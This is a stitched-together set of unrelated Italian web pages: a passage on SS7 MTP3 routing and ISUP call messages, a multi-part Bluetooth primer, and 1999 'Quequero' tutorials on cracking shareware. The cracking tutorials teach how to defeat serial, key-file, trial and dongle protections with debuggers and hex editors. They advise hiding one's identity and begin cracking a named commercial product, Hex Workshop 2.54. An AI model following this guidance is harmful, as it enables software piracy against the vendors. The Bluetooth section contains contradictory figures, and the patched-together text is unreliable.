- SIF (Campo di Informazione del segnale).

Il SIF in un MSU contiene l' etichetta di instradamento e l'informazione di segnale (per esempio, SCCP, TCAP, e i messaggi dati ISUP). Le LSSU e le FISU non contengono né un'etichetta di instradamento, nè un SIO poiché sono mandate tra due punti di segnale direttamente collegati. Per più informazioni riguardo le etichette di instradamento, bisogna fare riferimento alla descrizione dell'MTP Livello 3 che segue.
CRC (Cyclic Redundancy Check - Controllo Ciclico di Redondanza)
Il valore del CRC è usata per trovare e correggere gli errori di trasmissione.
Per più informazioni vedere la descrizione di BIB di seguito.

- MTP Livello 3.

MTP Livello 3 provvede l'instradamento di messaggi attraverso i punti di segnale nella rete SS7. MTP Livello 3 è equivalente per funzioni all'OSI Network Layer .
MTP Livello 3 instrada i messaggi basati sulle etichette di instradamento nel campo di informazione del segnale (SIF) delle unità di senale di messaggio.
L'etichetta di instradamento comprende il destination point code (codice del punto di destinazione) (DPC), originating point code (codice del punto originante) (OPC), e signaling link selection (selezione del collegamento di segnale) (SLS). I codici di punto sono indirizzi numerici che identificano unicamente ogni punto di segnale nella rete SS7. Quando il codice del punto di destinazione in un messaggio indica il punto di segnale ricevente, il messaggio è distribuito alla parte di utenti appropriata (ad esempio, ISUP o SCCP) indicato dall'indicatore di servizio nel SIO. I messaggi destinati ad altri punti di segnale sono trasferiti visto che il punto di segnale ricevente ha capacità di trasferimento messaggi (come un STP). La selezione di collegamenti verso l'esterno è basata sull'informazione nel DPC e nell'SLS.
Un'etichetta di instradamento ANSI usa 7 ottetti; un ITU-T ne usa 4.

Figura 7.

- ANSI contro ITU-T SIO e SIF.

I codici di punto ANSI usano 24-bits (3 ottetti); i codici di punto ITU-T si

servono usualmente di 14-bits. Per questa ragione, l'informazione di segnale scambiata tra reti ANSI e ITU-T dev'essere instradata attraverso un gateway STP, un convertitore di protocollo, o altri punti di segnale che abbiano codici di punto sia ANSI che ITU-T. (Nota: La Cina usa codici di punto 24-bit ITU-T che sono incompatibili sia con ANSI che con le altre reti ITU-T).

L'interazione tra reti ANSI e ITU-T è inoltra complicata da diverse implementazioni di protocolli e procedure di più alto livello.
Un punto di codice ANSI consiste di rete, cluster, e ottetti membri (ad esempio, 245-16-0). Un ottetto è un byte 8-bit che può contenere qualsiasi valore tra zero e 255. Telcos e altre grandi reti hanno singoli identificatori di rete, mentre gli operatori più piccoli hanno un singolo numero di cluster che hanno all'interno reti da 1 a 4 (e.g., 1-123-9). La rete numero 0 non è usata; la rete di numero 255 è riservata per uso futuro.
I codici di punto ITU-T sono puri numeri binari che possono essere per zona, area/rete, e numeri che identificano i punti di segnale. Per esempio, il punto di codice 5557 (decimale) può essere dichiarato come 2-182-5 (binario 010 10110110 101).

Signaling Link Selection - Selezione del Collegamento di Segnale (SLS)

La selezione dei collegamenti verso l'esterno è basata su informazioni nel DPC e nel campo di selezione del collegamento. L'SLS è uata per:

* Assicura la sequenza del messaggio. Due messaggi mandati con lo stesso SLS arriveranno sempre a destinazione nello stesso ordine in cui erano stati mandati in origine.
* Permette un uguale una condivisione del carico di traffico su tutti i collegamenti disponibili. In teoria, se una parte utente mandasse messaggi a intervalli regolari e assegnasse i valori dell' SLS in modo da mandare un messaggio collettivo da più mittenti, il livello di traffico dovrebbe essere uguale su tutti i collegamenti (entro set di collegamenti combinati) in quella destinazione.

Nelle reti ANSI, la grandezza del campo SLS era originariamente 5 bits (32 valori). In configurazioni con due collegamenti in ogni set di link di un set di link collegati (in totale 4 link), 8 valori SLS erano assegnati a ciascun link per permettere un pari bilancio di traffico.

Un problema nacque quando le reti in crescita si approvigionarono set di collegamenti oltre 4 link. Con un SLS di 5 bit, una configurazione con 5 link in ciascun set di link di un set di collegamenti combinati (in totale 10 link) risulta un assegnamento irregolare di 3 valori SLS per 8 link e 4 valori SLS per i 2 link rimanenti.
Per ovviare a questo inconveniente, sia ANSI che Bellcore adottarono un SLS a 8-bit (256 valori) per fornire una migliore condivisione del carico sul collegamento.
Nelle implementazioni ITU-T, l'SLS è interpretato come il codice di segnale del collegamento nei messaggi MTP. Nel messaggio della parte utenti telefono ITU-T, una porzione del codice di identificazione del circuito è immagazzinata

nel campo dell'SLS. MTP Livello 3 reindirizza il traffico via dai link e i
punti di segnale non funzionanti e controlla il traffico in caso di
congestione. Comunque, una discussione dettagliata a riguardo è fuori dai
propositi di questo tutorial.
MTP Livello 2 e 1 possono essere sostituiti da ATM (Asynchronous Transfer
Mode - Modo di trasferimento asincrono), un semplice protocollo broadband
protocol che usa celle di lunghezza fissa di 53 ottetti. MTP Livello 3 si
interfaccia ad ATM usando il Signaling ATM Adaptation Layer (SAAL).
Questa interfaccia è tuttora in studio.

- Parte Utente ISDN.

La parte utente ISDN(ISUP) definisce il protocollo e le procedure usate per
configurare, organizzare, e rilasciare i circuiti di collegamento che portano
chiamate dati e voce attraverso la rete telefonica pubblica (PSTN). ISUP è
usata sia per chiamate ISDN che per quelle non ISDN. Le chiamate che iniziano
e terminano sullo stesso switch non usano il segnale ISUP.

- Basic ISUP Call Control - Controllo di chiamata base ISUP.

La figura 8 rappresenta il segnale ISUP associato a una chiamata base. Quando
la chiamata è indirizzata a un numero fuori dallo switch, l'SSP originante
transmette un messaggio di indirizzo iniziale (IAM) ISUP per riservare un
circuito di collegamento dallo switch originante a quello di destinazione
(1a). Lo IAM include il codice del punto originante , codice del punto di
destinazione, codice di identificazione del circuito (circuito "5" in Fig. 8),
le cifre digitate e, optionalmente, numero e nome della parte chiamante.
Nell'esempio sotto, lo IAM è indirizzato dall'STP dello switch originante allo
switch destinazione(1b). Nota che che lo stesso collegamento(i) è usato per
la durata della chiamata finchè un errore del collegamento forza lo switch a
usare un collegamento di segnale alternativo.

Figura 8.

Lo switch destinazione esamina il numero chiamato, determina ciò che serve
alla parte chiamata, e la disponibilità della linea a squillare. Lo switch
destinazione fa squillare la linea della parte chiamata e trasmette un
messaggio di indirizzo completo (ACM) ISUP allo switch originante (2a)
(attraverso il suo STP) per indicare che la fine remota del circuito di
collegamento è stata riservata. L'STP indirizza l' ACM allo switch originante
(2b) che manda un tono alla parte chiamante e la connette al circuito per
completare il circuito voce fra parte chiamante e quella chiamata.

Nell'esempio mostrato sopra, gli switch di origine e destinazione sono
connessi direttamente con la linea principale. Se gli switches di origine e
destinazione non sono connessi direttamente con la linea principale, lo
switch originante trasmette un IAM per preservare un circuito di collegamento
a uno switch intermedio. Questo manda un ACM mettere a conoscenza della
richiesta di prenotazione del circuito e allora trasmette un IAM per
preservare un circuito di collegamento a un altro switch. Questi processi

continuano finchè tutte le linee per completare il circuito voce dallo switch originante a quello destinazione sono state prenotate.

Quando la parte chiamata alza la cornetta, lo switch destinazione termina il tono di chiamata (tu tu) e trasmette un messaggio di risposta (ANM) ISUP allo switch originante attraverso il suo STP (3a). L' STP indirizza l' ANM allo switch originante (3b) che verifica che la linea della parte chiamata sia connessa alla linea riservata e, se così, inizia la tassazione.

Se la parte chiamante riattacca prima, lo switch originante manda un messaggio di rilascio (REL) ISUP per rilasciare il circuito di collegamento tra gli switch (4a). L' STP indirizza il REL allo switch destinazione (4b). Se la parte chiamata riattacca prima, o se la linea è occupata, lo switch destinazione manda un REL allo switch originante indicando la causa di rilascio (ad esempio, normale riaggancio o occupato).

Ricevendo il REL, lo switch destinazione disconnette il circuito di collegamento dalla linea della parte chiamata, mette il circuito in stato di inattività, e trasmette un messaggio di rilascio completo (RLC) ISUP allo switch originante (5a) per informare del rilascio del termine remoto del circuito di collegamento. Quando lo switch originante riceve (o genera) l' RLC (5b), lo switch termina il ciclo di tassazione e mette il circuito in stato di inattività in preparazione alla prossima chiamata.
I messaggi ISUP possono anche essere trasmessi durante la fase di connessione della chiamata (ad esempio, tra i messaggi di risposta (ANM) e rilascio (REL) ISUP).

- Formato dei Messaggi ISUP.

L'informazione ISUP è portata nel campo informazioni di segnale (SIF) di un MSU. Il SIF contiene l'etichetta di instradamento seguita da un codice di identificazione del circuito (CIC) a 14-bit (ANSI) o 12-bit (ITU). Il CIC indica il circuito di collegamento riservato dallo switch originante per portare la chiamata. Il CIC è seguito dal campo tipo di messaggio (esempio, IAM, ACM, ANM, REL, RLC) che definisce i contenuti del resto del messaggio.

Figura 9.

Ciascun messaggio ISUP contiene la parte fissa ingiuntiva contenente ingiuntiva di lunghezza fissa. A volte la parte fissa ingiuntiva comprende solo il campo del tipo di messaggio. La parte fissa ingiuntiva può essere seguita dalla parte ingiuntiva variabile e/o dalla parte opzionale. La parte ingiuntiva variabile contiene parametri ingiuntivi di lunghezza variabile. La parte opzionale contiene parametri opzionali che sono identificati da un codice di parametro a 1 ottetto seguito da un indicatore di lunghezza ("ottetti che seguono"). I parametri opzionali possono ricorrere in qualsiasi ordine. Se i parametri opzionali sono inclusi, la fine dei parametri opzionali è indicata da un ottetto contenente tutti zeri.

Messaggio di indirizzo iniziale

Un Messaggio di Indirizzo iniziale (IAM) è mandato "avanti" da ciascuno switch
richiesto per completare il circuito tra parte chiamata e chiamante finchè il
circuito connette allo switch destinazione. Un IAM contiene il numero della
parte chiamata nella parte ingiuntiva variabile e può contenere nome e numero
della parte chiamante nella parte opzionale.

Figura 10.

- La Parte per gli utenti di ISDN continua...

- Messaggio con Indirizzo Completo.

Un Messaggio con Indirizzo Completo (ACM) è mandato nella direzione opposta
per indicare che l'estremità remota del circuito del collegamento è stata
prenotata.
Lo switch originante risponde all'ACM collegando la parte della linea
chiamante al canale per completare il circuito voce dalla parte chiamante a
quella chiamata. Lo switch originante manda anche un tono di suoneria alla
parte chiamante.

Figura 11.

Quando la parte chiamata risponde, lo switch di destinazione termina il tono
di suoneria e manda un Messaggio di Risposta (ANM) allo switch originante. Lo
switch originante inizia a tassare dopo aver verificato che la linea della
parte chiamante è connessa al canale prenotato.

Figura 12.

Un messaggio di Rilascio (REL) è mandato in entrambe le direzioni indicando
che il circuito sta essendo rilasciato per l'indicatore di causa specificato.
Un REL è mandato quando o la parte chiamante o quella chiamata chiude la
conversazione (causa = 16). Un REL è anche mandato nella direzione opposta se
la parte di linea chiamata è occupata (causa = 17).

Figura 13.

- Messaggio di Rilascio Completo.
Un Messaggio di Rilascio Completo (RLC) è mandato nella direzione opposta del
REL per attestare il rilascio dell'estremità remota di un circuito di
collegamento e termina il ciclo di tassazione come appropriato.

Figura 14.

- Parte per gli utenti del telefono.

In alcune parti del mondo (ad esempio la Cina), la Parte per gli Utenti del
Telefono (TUP) supporta il processo di chiamata semplice. La TUP tratta solo
circuiti analogici; i circuiti digitali e le capacità di trasmissione dati
sono fornite dalla Parte per gli Utenti Dati.

[BsThack   (2a parte)
  [...e zio`sP3nKy (1a parte

Bluetooth

prima parte prof. Daniele Pauletto @

Lo scopo principale della nascita della tecnologia bluetooth risiede nella capacità di far dialogare e interagire fra loro dispositivi diversi (telefoni, stampanti, notebook, PDA, impianti HiFi, tv,computer, PC, cellulari, elettrodomestici, device,etc) senza la necessità di collegamenti via cavo, ciò che va sotto il nome di **wireless**. Wireless si riferisce a una tipologia di comunicazione, ad un monitoraggio e a un insieme di sistemi di controllo in cui i segnali viaggiano nello spazio e non su fili o cavi di trasmissione.In un sistema wireless la trasmissione avviene principalmente via radiofrequenza (RF) o via infrarosso (IR).

WIRELESS

cellulare

PDA

notebook

stampante

telefono

fax

Wireless consente in un ufficio, in una casa di far dialogare tra loro tutti i dispositivi elettronici presenti. Lo scambio di informazione fra gli strumenti avviene attraverso onde radio, eliminando qualsiasi tipo di connessione fisica tra dispositivi. Per fare ciò ciascun dispositivo deve possedere all'interno di un chip, integrato, in grado di trasmettere e ricevere informazioni nell'etere.All'interno del panorama Wireless il Bluetooth* è sicuramente una tecnologia che rivoluzionerà il mercato della connessione delle reti wireless, principalmente per i bassi costi di trasmissione su cui essa si basa e soprattutto per la possibilità di far comunicare qualunque tipo di dispositivo wireless attraverso onde radio.

La **tecnologia Bluetooth** è specificatamente progettata per realizzare la comunicazione senza fili per apparecchi di piccole dimensioni. Il concetto chiave ispiratore di questa tecnologia è quello di eliminare completamente i cavi necessari alla comunicazione fra apparecchi, come abbiamo visto.

Tutte le apparecchiature bluetooth predisposte in un ambiente di lavoro sono nella condizione di generare piccoli network (reti) senza fili, cioè un'interconnessione di comunicazioni dati come ad esempio una rete di computer (Lan).Diversamente da una lan i dispositivi interconnessi non si limitano ai computer ma ad altri diversificati apparecchi elettronici come cellulari,cuffie,proiettori, scanner, videocamere, fotocamere, elettrodomestici vari.Questi collegamenti senza fili sono effettuati usando un ricetrasmettitore che opera nella frequenza di **2,4 GHz**, frequenza assegnata per usi industriali.

Country	Frequency Range	RF Channels
Europe* & USA	2400 - 2483.5 MHz	f = 2402 + k MHz
Japan	2471 - 2497 MHz	f = 2473 + k MHz
Spain	2445 - 2475 MHz	f = 2449 + k MHz
France	2446.5 - 2483.5 MHz	f = 2454 + k MHz

Questi piccoli network wireless sono generalmente chiamati **piconet**.Un piconet è costituito da due o più periferiche che condividono un canale di comunicazione utilizzando Bluetooth , fino ad un massimo di 8 dispositivi.La frequenza di 2,4 Ghz è sotto le frequenze UHF radio amatoriali che vanno dai 5,65 - 5,85 Ghz. Il sistema di comunicazione bluetooth è progettato per funzionare anche in ambienti con forte presenza di interferenze,campi elettromagnetci, ciò che va sotto il nome di elettrosmog, ciò per assicurare collegamenti sempre efficienti e affidabili.E' possibile ad esempio ascoltare musica dell' impianto stereo o della Tv tramite la cuffia senza fili anche se ci sono oggetti, ostacoli interposti, cosa impossibile con le cuffie a raggi infrarossi (tecnologia Irda).
La velocità di comunicazione è prossima ad 1 Mbps anche con piccole potenze nell'ordine di alcuni milliWatt, impiegando la tecnologia **TDD*** (Time Division Duplex, nella gestione del traffico asimmetrico, come ad esempio per internet,e nel prossimo futuro con l' Umts, offre una mobilità limitata).

Power Class	Maximum Output Power (Pmax)
1	100 mW (20 dBm)
2	2.5 mW (4 dBm)
3	1 mW (0 dBm)

Power classes

continua

***TDD** Time Division Duplex, Tecnologia impiegata nella gestione del traffico asimmetrico nell'UMTS come ad esempio la navigazione su internet,offre una mobilità limitata.

* Il nome Bluetooth, deriva dal soprannome di un famoso condottiero scandinavo, re di Danimarca del medioevo, Harald II Bluetooth che conquistò la Norvegia.

visita Dizionario Umts # SITO segnalato da Google virgilio for admaiora

Punto Informatico

Bluetooth

seconda parte

Lo standard Bluetooth consente di creare delle Wpan (Wireless personal area networks)con diversi nuovi servizi. quelle che vengono definite **"reti wireless individuali"**, ossia gruppi di dispositivi differenti tra loro collegati per soddisfare le esigenze del singolo. Bluetooth permette infatti di gestire sia i dati sia la voce, utilizzando una trasmissione a pacchetto su rete radio per i dati e una modalità connection-oriented per la voce.

LAN

piconet

Wireless personal area

computer

piconet

computer

I dispositivi dotati di questa tecnologia comunicano dunque tra loro creando e riconfigurando dinamicamente (la configurazione cambia infatti automaticamente quando si inserisce o si elimina un dispositivo) delle reti ad hoc (dette **picoreti**)composte da un massimo di otto nodi (più picoreti possono a loro volta interconnettersi, aumentando le possibilità di espansione).Ciò permette, ad esempio, di sincronizzare i dati di un Pc portatile e un Pda semplicemente avvicinando i due apparecchi, oppure di passare automaticamente al vivavoce quando si entra in auto parlando al cellulare. Tutto questo è possibile grazie al "service discovery protocol" (**SDP**)che permette ad un dispositivo Bluetooth di determinare quali sono i servizi che gli altri apparecchi presenti nella picorete mettono a disposizione.Tale protocollo può fungere sia da server (ossia può essere interrogato da un altro dispositivo e rispondere con i propri servizi) sia da client (interrogando gli altri dispositivi) e ogni apparecchio dispone delle informazioni relative ai servizi di cui è capace e dei protocolli supportati: altri apparati potranno fare uso di queste informazioni per determinare le possibilità di interazione con i nodi della picorete.Questo è necessario perché, naturalmente, una stampante bluetooth non offrirà le stesse possibilità di un Pda o di un’auricolare, pertanto occorre che ogni nodo conosca le funzioni e le possibilità di ogni altro nodo della rete.Per fare un esempio concreto, se un telefonino Bluetooth vuole trasferire un messaggio di testo a un Pda, potrà interrogare quest’ultimo per sapere se è dotato di funzionalità e-mail, o se è in grado di ricevere un testo in altro modo.Quando un dispositivo si inserisce per la prima volta in una picorete, inoltre, effettuerà una "scansione" di tutti i nodi presenti per capire come può interagire con essi.

Gli **standard** per le tecnologie **Wireless*** più utilizzati sono :

DECT (Digital Enhanced Cordless Telecommunications).standard digitale criptato per telefonini cordless con possibilità di 120 canali su 12 frequenze, evoluzione del cordless analogico, implementa l'interfaccia Gap (Generic Access Profile) ed utilizza la modulazione GMSK, bit rate max 348 Kbps.

IrDA (Infrared Device Application) tecnologia di interconnessione dati tramite infrarossi bidirezionale point-to-point tra dispositivi posizionati in visibilità reciproca LoS, line of sight, con range ridotto a 1 - 2 metri e bit rate di 4 Mbps

IEEE 802.11 , tecnologia per le wireless Lan , con un'unica interfaccia a livello di Data Link e due possibili implementazioni a livello Psysical Layer (infrarosso, non applicato, trasmissione Dfir), e a onde radio con tecnologia FHSS e DSSS. Tale standard si articola in **802.11a** operante a 5,8 Ghz e 40 Ghz e **802.11b** operante a 2,4 Ghz e 11 Mbps, high rate.

Bluetooth tecnologia di interconnessione wireless low-power (mWatt), in grado di far "comunicare" dispositivi elettronici come i telefoni, stereo, notebook,computer, pda fino ad un massimo di 16 dispositivi, attraverso onde radio a basso raggio emesse da alcuni trasmettitori presenti all'interno di questi dispositivi, di cui ci stiamo occupando. Bluetooth consente gestire sia i dati (TD trasmissione dati) sia la voce (TV trasmissione voce), utilizzando una trasmissione a pacchetto su rete radio per i dati e una modalità connection-oriented per la voce.

---

a cura del prof. Daniele Pauletto @ continua

visita Tecnologia Wireless #

Bluetooth

terza parte

Gli elementi base di un sistema Bluetooth sono l' **RU**(unità radio) e l' **BU** (unità base).

I dispositivi comunicano tra loro in modo dinamico, la picorete si configura automaticamente quando si inserisce o si elimina un dispositivo. A loro volta più picoreti possono interconnettersi tra loro aumentando le possibilità di espansione.

Banda di Frequenza	Classificazione	Utilizzazione
3- 30 Khz	**VLF** Very Low Frequency	comunicazioni marittime
30 Khz - 300 Khz	**LF** Low Frequency	" " "
300 Khz - 3 Mhz	**MF** Medium Frequency	comunicazioni emergenza
3 Mhz - 30 Mhz	**HF** High Frequency	radioamatori - usi militari
30 Mhz - 300 Mhz	**VHF** Very High Frequency	TV - Radio Am - FM
0,3 - 3 Ghz	**UHF** Ultra High Frequency	**Bluetooth - ISM** frequenze Industriale Scientifica Medica
3 - 30 Ghz	**SHF** Super High Frequency	Radar - Satelliti
30 - 300 Ghz	**EHF** Extra High Frequency	Radar - Satelliti
1000 Ghz - 10.000.000 Ghz	**Infrarossi - Ultravioletti**	

Tale modalità di interconnessione dinamica consente di sincronizzare i dati tra due apparecchi Bluetooth automaticamente, ad esempio un pda con un notebook, sfruttato l'SDP (Service Discovery Protocol *)che abbiamo già visto*,per distanze comprese tra 10 - 100 metri.

SDP Service Discovery Protocol

Client Application
Server Application
richieste SDP
SDP Client
SDP Server
risposte SDP

Il protocollo consente di determinare le tipologie di servizi presenti e disponibili nella picorete sia in una modalità server sia client.Nella modalità server consentirà ad un dispositivo di interrogarlo sui servizi e protocolli supportati, quindi renderli disponibili, nella modalità client consentirà l'interrogazione dei dispositivi connessi alla picorete per avere informazioni.

a cura prof. Daniele Pauletto @ continua

visita Glossario Internet #

Bluetooth

quarta parte

In un collegamento tutti gli apparecchi Bluetooth connessi sono generalmente in modalità standby, cioè di attesa, seguendo un ciclo di scansione ad intervalli di tempo al fine di verificare la presenza di eventuali altri dispositivi.La scansione effettuata può essere di due tipi : **PS** (Page Scan) e **IS** (Inquiry Scan).

STANDBY
Page
Page Scan
Inquiry Scan
Inquiry
master response
slave response
inquiry response
CONNECTION

La scansione PS consente la la ricerca di un collegamento con un altro apparecchio Bleutooth, che può risultare in modalità *connectable mode* o *non-connectable mode*.La scansione IS simile alla precedente, permette di identificare la tipologia di apparecchi disponibili nella picorete, *discoverable mode* o *non-discoverade mode,* e di approntare i necessari protocolli per il collegamento.

I risultati di una scansione sono : **A** (Active) la connessione è attiva, **H** (Hold) può svolgere operazioni IS e PS , **S** (Sniff) riduzione del carico di lavoro , **P** (Park) modalità di attesa..

Come abbiamo visto la tecnologia Bluetooth opera nella gamma di frequenza dai 2,4 ai 2,483 Ghz, suddivisa in canali da 1 Mhz impiegando la tecnica **FHSS***.(*Frequency Hopping Spread Spectrum*, tecnologia che consente a più utenti di condividere lo stesso insieme di frequenze, cambiando automaticamente la frequenza di trasmissione fino a 1600 volte al secondo, al fine di una maggiore stabilità di connessione e di una riduzione delle interferenze tra canali di trasmissione)..Lo spectrum spreading consiste in una continua variazione di frequenza utilizzando una modulazione di **frequency hopping.**Gli hops corrispondono ai salti di frequenza all'interno della gamma assegnata (2,402 Ghz -2,480 Ghz, con salti di 1 Mhz, complessivamente 79 hops set).

Due o più unità che condividono la stessa sequenza di hopping (piconet) vengono ad assumere tale configurazione

La comunicazione viene gestita dall'**unità master** tramite FHSS consentendo la sincronizzazione con le **unità slave**, fino ad un numero massimo di 7 dispositivi slave attivi.Nella **piconet** oltre alle sette unità slave attive possono rimanere sincronizzate con l'unità master altre unità in una modalità di attesa (park).

a cura prof. Daniele Pauletto @ continua

* **FHSS** Frequency Hopping Spread Spectrum, tecnologia che consente a più utenti di condividere lo stesso insieme di frequenze cambiando automaticamente la frequenza di trasmissione fino a 16000 volte al secondo.

visita Dizionario Umts #

Bluetooth

quinta parte

La tecnologia Bluetooth consente due principali modalità di collegamento tra unità master e slave, l'ACL e lo SCO.Il collegamento **ACL** (Asynchronous Connectionless) consente la trasmissione dei dati (Td) con una modalità sincrona. La velocità di trasmissione dati nella modalità asimmetrica sarà 723 Kbps - 57,6Kbps nell'altra direzione, nella modalità simmetrica invece, sarà pari a circa 434 Kbps.Il collegamento **SCO** (Synchronous Connection Oriented) consente una trasmissione radio (Tr) e una trasmissione Voce (Tv).La velocità di trasmissione voce sincrona bidirezionale sfrutta una codifica voce *Continuous Variable Slope Delta Modulation* (***CVSD***) , permettendo un bit rate di 64 Kbps.

SCO
Tr trasmissione radio
Tv trasmissione voce *

Canali Bluetooth

SCO
Tr trasmissione radio
Tv trasmissione voce *

ACL
Td trasmissione dati

* con codifica CVDS che consente un bit rate di 64 Kbps

I dati di una piconet vengono trasmessi a pacchetti e sono composti da un AC (*Access Code*), da un H (*Header*), e da un P (*Payload*).

ACCESS CODE	HEADER	PAYLOAD - dati
72 bit	54 bit	da 0 - 2745 bit

Pacchetto dati di una Piconet

La modalità di trasmissione e ricezione dati può cambiare in relazione alle esigenze di comunicazione delle varie unità Bluetooth, passando per esempio da una sola comunicazione voce a una sola comunicazione dati.Una rete wireless composta da più apparecchi formerà una piconet, a sua volta più piconet formeranno un network wireless chiamato **Scatternet.**

Bluetooth

sesta parte

Una piccola rete Bluetooth può supportare un collegamento punto a punto (*point to pont*) e multi punto (*multipoint*).

POINT TO POINT

MULTIPOINT

piconet

Ogni unità contiene all'interno più componenti:

- l'unità radio
- l'unità di controllo di collegamento (link unit)
- l'unità di gestione e di interfaccia del collegamento

I **Link Manager** sorveglia il collegamento tra i diversi dispositivi Bluetooth e verifica le procedurre di autenticazione e configurazione del collegamento, attraverso il contatto con un altro Link Manager.

Lo scambio delle informazioni avviene tramite il protocollo **LMP** (*Link Manager Protocol*) .Le informazioni dell ' LM possono essere di : trasmissione e ricezione dati, di autenticazione, di scansione (page scan, inquiry scan, *park hold sniff*), di identificazione, di collegamento, di determinazione canale comunicativo, di verifica.

a cura prof. Daniele Pauletto @ 2002 per Approfondire (#)

Bluetooth

LINK

www.bluetooth.com

www.motorola.com/bluetooth

www.palowireless.com/bluetooth

www.bluetoothcongress.com

a cura prof. Daniele Pauletto @ 2002

Home

Tutorial N°1   9-2-1999

Cos'è il cracking?

Con questa parola intendiamo l'arte del bypassare o disattivare i sistemi di protezione all'interno dei comuni shareware.
Per intenderci faccio un piccolo esempio:
In edicola compro un cd con dei programmi, ne installo uno a caso e noto subito che in alto c'è scritto: "Questo programma è una versione shareware".
Cosa significherà questo oscuro messaggio? Bene ecco la risposta, il programma probabilmente avrà alcune funzioni disabilitate oppure ci porrà un limite di tempo entro il quale dovremmo pagare un contributo al produttore per riceverne una versione completa, infatti gli shareware sono nati per far provare al potenziale acquirente il nostro prodotto e, se esso vorrà poi utilizzarlo a tempo indeterminato dovrà pagare per ricevere un numero seriale che gli consentirà di disabilitare il limite di tempo (in genere 30, 45 o 90 giorni) oppure di abilitare tutte le funzioni che prima non erano disponibili.
Le software house per velicizzare l'utilizzo dei propri prodotti spesso consentono di registrare il programma in linea, ma vediamo come avviene questo precesso, spesso si deve andare nel menu *Help* e poi *Register*, a volte il box di registrazione appare durante l'avvio del programma, a volte è "nascosto" come in gamehack dove si deve premere "ctrl+clic" sul logo "GameHack" per accedervi, oppure altre volte il box non esiste, infatti proprio per questo possiamo dividere i programmi shareware in due categorie ed altre varie sottocategorie, andiamo ad esaminarli: i tipi di shareware si possono dividere in registrabili e non, i registrabili possono essere *sbloccati* tramite un box nel quale và inserito un numero predefinito oppure calcolato in base al nome che inseriamo, o peggio tramite un Key file, ossia un file che la ditta spedisce all'utente e che va messo generalmente nella cartella principale del prog. (per esempio cuteftp cerca al proprio avvio un file chiamato "cuteftp.key" contenente le informazioni criptate dell'utente) quest'ultima soluzione è spesso la più difficile da sopraffare, ma vediamo come si comportano i prog. non registrabili, questa branca di shareware è nata recentemente per il solo motivo di depistare i cracker, infatti, i vari prodotti non forniscono un box di registrazione, ma consentono generalmente l'utilizzo completo del prog. per un determinato periodo di tempo oppure disabilitano alcune funzioni, a volte invece consentono di sfruttare a tempo illimitato il prog. senza disabilitare le funzioni ma riempiendolo di nag-screen (ossia noiosi messaggi che ricordano di pagare la registrazione e cazzi vari...) ce ne sarebbero altri due, nel primo *Verifica del cd-rom" l'eseguibile controlla la sua locazione che deve essere quella del cd originale, nel secondo tipo viene cercata una chiave hardware cioè viene fatto un check su una compente hardware del vostro pc, per esempio l'eseguibile controlla che il numero di serie dell'hard disk sia sempre quello ma come chiave hardware possiamo inrendere anche un dispositivo che si attacca alla porta parallela, poi ne parlerò in un altro tutorial (e saranno dolori...), in linea di massima tutti questi metodi possono essere superati, ne esamineremo con calma la maggior parte dei casi.

Di cosa abbiamo bisogno

Per poter crackare un prog abbiamo bisogno di un Debugger, un Disassembler un un editor esadecimale e volendo un paio di prg come regmon e filemon, vediamo a cosa servono:
Il debugger è un po' la finestra sul programma del cracker, è indispensabile, il migliore è sicuramente Softice della Numega.
La versione che troverete sarà l'ultima cioè la 3.24, un prog del genere serve a vedere il codice assembler del programma, se non sapete cosa significhi questa

parola dovete far assolutamente riferimento ai tutorial di assembler per poter continuare; comunque il codice è lo scheletro del programma cioè la sua struttura, con questo prg possiamo *navigare* all'interno dello shareware per poterlo poi crackare.
Il disassembler che useremo si chiama W32 Dasm ed è un prg molto simile al debugger, solo che quest'ultimo ci disassembla (cioè lo converte in assembly) un file e ci consente di trarne varie informazioni, il metodo di crackare un prg con un disassembler viene definito *passivo* perchè non si può interagire direttamente con le funzioni del prg.
L'editor esadecimale, io uso Hex Workshop, serve per poter vedere il codice, come dice la parola stessa, esadecimale, quest'operazione viene in genere utilizzato per lo sviluppo del file crack, cioè un piccolo eseguibile che serve a modificare quanto basta il prg per renderlo libero dalla protezione.
Regmon e Filemon sono invece due utilissimi prg che rispettivamente ci consentono di vedere ciò che un prg qualunque legge nel registro di windows e quali file legge, scrive o cerca. Spero che vi stiate chiedendo il perchè dell'utilità di questi due ultimi tools, ebbene eccovi la risposta, spesso uno shareware inserisce nel registro di windows o in alcuni file delle informazioni di vitale importanza come ad esempio i giorni che mancano prima dell'espirazione oppure le info sulla registrazione, le informazioni del reg. ed i file sono spesso nascosti in chissà quale directory e con filemon e regmon possiamo scovarli...;)
Se volete ricercandoli o in questo sito o nel web.
Scaricate tutti questi prog ed provate ad usarli uno per uno, ricordate solo che softice è FONDAMENTALE mentre gli altri potrete prenderli in un secondo momento.
Un ultimo avvertimento: fare il cracker non è un'attività TROPPO legale quindi cercate di rimanere nell'ombra ed evitare di dire a tutti che vi chiamate Pinco Pallino, che vivete a Lilliput e che fate il cracker 24 ore al giorno, potrebbe essere molto pericoloso.
Potete crackare in casa vostra tutti i programmi che volete al solo scopo didattico, ma non potete diffondere il relativo crack, quindi a buon intenditore.....
Arrivederci al prossimo tutorial ;)

Quequero

Tutorial N°2   10-2-1999

Il nostro primo crack!!!

Eccoci di nuovo qui, in questo secondo tutorial crackeremo il nostro primo programa, ma quale?
Bhè la risposta mi sembra ovvia, crackeremo uno dei nostri tools, cioè Hex Workshop 2.54, ma bando alle ciance ed iniziamo....
Avete insallato Softice e Hex Workshop? Se no l'avete fatto allora provvedete.
Avviate il programma e un nag-screen vi dirà che questa è la prima volta che usate questo prodotto e che deve essere registrato, cliccate su ok e vedrete in alto a destra una scritta: "Demonstration version" passateci sopra con il mouse e vedrete che in realtà è un pulsante, bene bene cliccateci sopra e un box farà la sua comparsa chiedendovi un serial number; questa è la protezione che andremo a rimuovere...
Premete ctrl+d e softice popperà sul monitor, come potrete subito constatare il mouse non c'è ma è sostituito da un quadratino bianco, se quel quandratino non si muove significa che avete sbagliato a settare la porta di comunicazione durante il setup, riavviate l'installazione e cambiate, tornate di nuovo in Softice (ctrl+d) e gurdatelo attenamente, noterete sicuramente delgli strani simboli e vedrete anche che durante l'esecuzione del debugger non potrete interagire con Windows, la prima cosa da fare è ottimizzare la finestra, per farlo potrete scaricare qui il mio file "winice.dat" e sostituirlo al vostro, oppure potrete scrivere sempre in softice questi comandi: line 60   invio

```
wl          invio
wc 45       invio
code on     invio
wr          invio
faults off  invio
```

